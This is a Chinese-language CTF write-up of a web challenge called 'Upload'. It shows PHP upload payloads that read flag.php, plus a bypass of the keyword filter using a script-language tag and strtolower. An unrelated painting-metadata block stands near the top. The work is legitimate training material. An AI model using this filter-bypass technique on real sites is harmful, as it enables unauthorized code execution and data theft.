CTF竞赛-文件上传

本文为CTF web网络攻防方向,主要记录文件上传的题目

Posted by Yewbs on March 25, 2018

Title: Sappho and Alcaeus
Creator: Lawrence Alma-Tadema
Creator Lifespan: 1836/1912
Creator Nationality: Dutch and British
Date Created: 1881
Physical Dimensions: w122 x h104.1402 cm
Type: oil paintings; panel paintings
Medium: oil on panel
Artist: Sir Lawrence Alma-Tadema, R.A., O.M.

CTF竞赛题目类型主要包含 Web 网络攻防Reverse 逆向工程Pwn 二进制漏洞利用Crypto 密码攻击Mobile 移动安全 以及 Misc 安全杂项 这六个类别。

本文为web网络攻防方向。

赛题

初始来源

#“百度杯”CTF比赛# #九月场# #Upload#

赛题传送门

i春秋CTF大本营

【赛题类型】—>【CTF训练】

【比赛名称】—>【全部】

【题目类型】—>【Web】

选择价值 50pt,类型为 Web,名称为【Upload】的题目:

ctf-20180324144139821

解题过程

进入到靶场环境后,得到如下的初始页面:

ctf-20180324144309647

根据题目的提示tips:flag在flag.php中,可以推测本题目是想通过上传文件,并通过执行文件读取flag.php源码,来获取flag。

先随意上传一张图片看看效果:

ctf-20180324145416668

发现【上传成功!】是个超链接可以点击,点击后是查看上传文件,由此得出,可以通过文件上传来构造读取flag.php的源码。

先构造最简单直接的版本:

1
2
3
4
5
<?php
$file = fopen("../flag.php", "r");
echo fread($file, filesize("../flag.php"));
fclose($file)
?>

上传后,得到

ctf-20180324150835203

发现并没有执行,并且php后缀都被过滤掉了,尝试将 ?php 使用 **

1
2
3
4
5
<script language=PHP>
$file = fopen("../flag.".strtolower("PHP"), "r");
echo fread($file, filesize("../flag.".strtolower("PHP")));
fclose($file)
</script>

上传后,得到:

ctf-20180324151330884

此时并没有输出错误,说明执行成功了,【F12】查看网页源码

ctf-20180324151407995

至此,得到flag。

总结

本题目相对简单,主要考察php文件读取,以及简单的针对关键字过滤的绕过技巧。